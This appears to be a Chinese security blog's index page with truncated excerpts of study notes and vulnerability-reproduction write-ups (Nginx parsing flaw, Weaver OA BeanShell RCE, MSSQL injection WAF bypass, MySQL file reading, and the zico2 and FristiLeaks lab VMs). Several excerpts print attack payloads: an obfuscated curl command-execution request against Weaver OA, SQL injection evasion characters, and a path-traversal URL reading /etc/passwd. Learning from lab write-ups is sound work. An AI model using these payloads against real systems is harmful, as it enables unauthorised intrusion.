Nginx解析漏洞复现
0x00 前言nginx解析漏洞因为用户配置不当造成的漏洞。
解析格式:1.jpg/.php、1.jpg/%00.php,1.jpg会被当成php格式解析
nginx和iis7.x解析漏洞类似,都是加上/.php后文件以php格式解析。
配置文件vim /etc/php5/fpm/php.ini、vim /etc/php5/fpm/pool.d/www.conf
关键配置项: cgi.fix_pathinfo=1,security.limit_extensions=允许解析其他格式为php,则存在解析漏洞。
0x01 环境搭建直接使用docker来搭建漏洞环境
下载漏洞环境:git clone https://github.com/vulhub/vulhub.git 切换到nginx漏洞目录cd vulhub/nginx/nginx_parsing_vulnerability/启动环境:docker-compose up -d
0x02 漏洞复现搭建好的页面
上传一个图片马
使用burp获取返回的上传目录文件名
在图片后面加/.php,解析成功,可以看见php的一 ...
Web页面解析流程学习
0x00 前言信安之路小白成长计划第九周
1、理解域名解析的整个过程
2、理解 web 页面请求的整个流程,绘制流程图(nginx 处理的 11 个过程)
3、学习 http 协议中的字段及含义
4、学习 http 请求方法以及返回状态码的类型和含义
扩展学习:思考这个过程中都会涉及哪些安全问题,常规的网站架构(waf、cdn 等设备部署在什么地方)
0x01 域名解析DNS域名解析大致分为10步,根据网上收集的资料,大概画了一个脑图出来。
1、访问https://timeshu.github.io域名
2、浏览器查看自身缓存是否存在timeshu.github.io解析记录。
3、查询本地hosts文件是否存在timeshu.github.io解析记录。
4、客户端请求本地域名服务器查询timeshu.github.io的缓存记录
5、本地域名服务器请求根域名服务器查询.io所属域名服务器。
6、根域名服务器根据本地域名服务器请求的域名返回所属的.io的主域名服务器。
7、本地域名服务器向主域名服务器请求github.io域名解析记录,主域名服务器根据域名返回注册商域名服务器 ...
泛微OA系统漏洞复现
0x00 前言最近泛微OA系统爆发出0day漏洞,通杀<=9.0的系统,本次复现一下漏洞
0x01 复现昨天群里面大佬发了一个泛微OA系统的连接,本来作为本次复现的一个环境
漏洞地址:/weaver/bsh.servlet.BshServlet/
漏洞页面如下
poc:exec("whoami");
直接执行了whoami命令
执行ipconfig命令
在土司看见大佬们其他的poc
bsh.script=exec("whoami");&bsh.servlet.captureOutErr=true& bsh.servlet.output=raw&bsh.servlet.captureOutErr=true&bsh.servlet.output=raw
curl http://xx.xx.xx.xx.xx/weaver/bsh.servlet.BshServlet/ -d 'bsh.script=eval%00("ex"%2b"ec(\"whoami\")");&bsh.servlet.captureOutErr=true& ...
MSSQL注入绕云锁分析
0x01 环境搭建环境: windows server 2012 + sql server 2008 + IIS7
0x02 Sql server数据库特性MSSQL数据库大概有五个地方可以添加绕过字符,例子如下
select id,content,time from news where news_id=1 union select 1,2,db_name() from admin
上述语句是一个联合查询,可添加绕过字符位置
1、news_id=1
这里为位置一,可利用其他控制字符替换空格:%01-%0F、%11-%1F。
可利用注释符号:/**/
可利用数学运算以及数据类型:news_id=1.1,news_id=1e0,news_id=1-1
2、union
这里为位置二,可利用其他控制字符替换空格:%01-%0F、%11-%1F。
可利用注释符号:/**/
可利用冒号:union:select
3、select
这里为位置三,可利用其他控制字符替换空格:%01-%0F、%11-%1F。
可利用注释符号:/**/
可利用其他符号:+、-、~、:、.
...
Mysql数据库函数
0x00 前言小白成长计划第四周任务,学习mysql数据库函数
0x01 数据库函数DATE_ADD() 函数向日期添加指定的时间间隔。DATE_SUB() 函数从日期减去指定的时间间隔。DATEDIFF() 函数返回两个日期之间的天数。DATE_FORMAT() 函数用于以不同的格式显示日期/时间数据。NOW() 返回当前的日期和时间。CURDATE() 返回当前的日期。CURTIME() 返回当前的时间。DATE() 函数提取日期或日期/时间表达式的日期部分。EXTRACT() 函数用于返回日期/时间的单独部分,比如年、月、日、小时、分钟等等。
now(), current_timestamp(); -- 当前日期时间current_date(); -- 当前日期current_time(); -- 当前时间date('yyyy-mm-dd hh:ii:ss'); -- 获取日期部分time('yyyy-mm-dd hh:ii:ss'); -- 获取时间部分date_for ...
Mysql系统表学习
0x00 学习任务概述
如何利用数据库的功能读写文件,需要什么样的条件才可以读写
学习数据库系统表功能,如何利用sql语句查询库名、表名、字段名、内容以及当前用户等基本信息,将学习过程中关键部分整理成报告
尝试查询处用户的hash,并使用hashcat来对获取的hash进行暴力破解
0x01 数据库读功能
读取文件函数
load_file()
load data infile()
system catload_file()和load data infile 读取文件的方法:新建一个表,读取文件为字符串形式插入表中,然后读出表中数据.需满足条件:
有file权限
secure_file_priv值不为NULL
查看secure_file_priv是否为空
mysql> show global variables like "secure_file_priv";+------------------+-------+| Variable_name | Value |+------------------+-------+| secure_file_priv | ...
zico2靶机实战
0x00 环境搭建靶机:Vbox虚拟机攻击机:kali、windows10网络:桥接网卡IP:192.168.1.38
0x01 信息收集nmap扫描开放端口,开放22、80、111、36456端口80是web端口
目录枚举http://192.168.1.38/vendor/
有一个文件包含漏洞http://192.168.1.38/view.php?page=../../etc/passwd
ID在一千以后的只有zico账户查看了ssh的配置文件,貌似也没有啥发现
目录扫描一波发现dbadmin登录后台,随手测试admin..登录成功,貌似是一个数据库,可以直接写shell一波了。。
好吧,这个数据库连接工具没用过,刚刚看见有一个info表,里面有两个账户和密码
root:653F4B285089453FE00E2AAFAC573414解密:34kroot34zico:96781A607F4E9F5F423AC01F0DAB0EBD解密:zico2215@
果断的上SSH…SSH连接不上,直接登录也失败。。??几个意思 我擦。。还是写shell吧,找下绝对路径
0x02 获 ...
Mysql入门手册
0x00 前言小白成长计划第二周任务,选择mysql作为主要学习语言,本来是准备学mssql的,但是基于mysql遇到的最多,且不算很熟练,mssql企业、单位中用的较多一点,但是碰到的比较少,且语法大同小异,后期会专门学一下sql语言,来了解下关系型数据库的语法以及特性。
0x01 关系型和非关系型数据库区别关系型数据库
复杂查询:可以用SQL语句方便的在一个表以及多个表之间做非常复杂的数据查询。
事务支持:使得对于安全性能很高的数据访问要求得以实现。
非关系型数据库
性能:NOSQL是基于键值对的,可以想象成表中的主键和值的对应关系,而且不需要经过SQL层的解析,所以性能非常高。
可扩展性:同样也是因为基于键值对,数据之间没有耦合性,所以非常容易水平扩展。
对比
对于这两类数据库,对方的优势就是自己的弱势,反之亦然。
但是近年来这两种数据库都在向着另外一个方向进化。例如:NOSQL数据库慢慢开始具备SQL数据库的一些复杂查询功能的雏形,比如Couchbase的index以及MONGO的复杂查询。对于事务的支持也可以用一些系统级的原子操作来实现例如乐观锁之类的方法来曲 ...
FristiLeaks靶机实战
0x00 环境搭建靶机环境:Vmwaremac地址:08:00:27:A5:A6:76攻击环境: kali、windows10网络环境:桥接IP:192.168.1.37
设置网络环境,先设置mac地址,后设置网络环境后,可发现靶机IP
0x02 信息收集查看首页源代码,发现目标信息,获取root权限
Welcome to #Fristleaks, a quick hackme VM by @Ar0xA欢迎使用fristleaks,这是一个由@ar0xa提供的快速黑客虚拟机Goal: get UID 0 (root) and read the special flag file.目标:获取uid 0(根)并读取特殊标志文件。Timeframe: should be doable in 4 hours.时间框架:应该在4小时内完成。
使用dirbuster扫描网站目录,发现robots.txt
robots文件
User-agent: *Disallow: /colaDisallow: /sisiDisallow: /beer
目录
images/ 图片目录icons/ 图标索 ...
关于java中不带符号右移问题填坑
0x00 问题关于上上周学习java中遇到的符号位移问题。
>> 带符号右移 高效除2<< 带符号左移 高效乘2>>> 不带符号右移关于带符号位移这块已经是了解了,但是对不带符号移动,当时可能记错了>>>带符号,理解不够深入,今天听见组长的一番解释,自己手动敲了一波,算是搞懂了,阔以填坑了
0x01 解决代码
int b = -0x400;System.out.println(b >>> 1); //1111 1111 1111 1111 1111 1100 0000 0000System.out.println(Integer.toBinaryString(b)); //1111 1111 1111 1111 1111 1100 0000 000System.out.println(Integer.toBinaryString(b >>> 1));
复盘
b = 1111 1111 1111 1111 1111 1100 0000 0000b>>>1 = 111 ...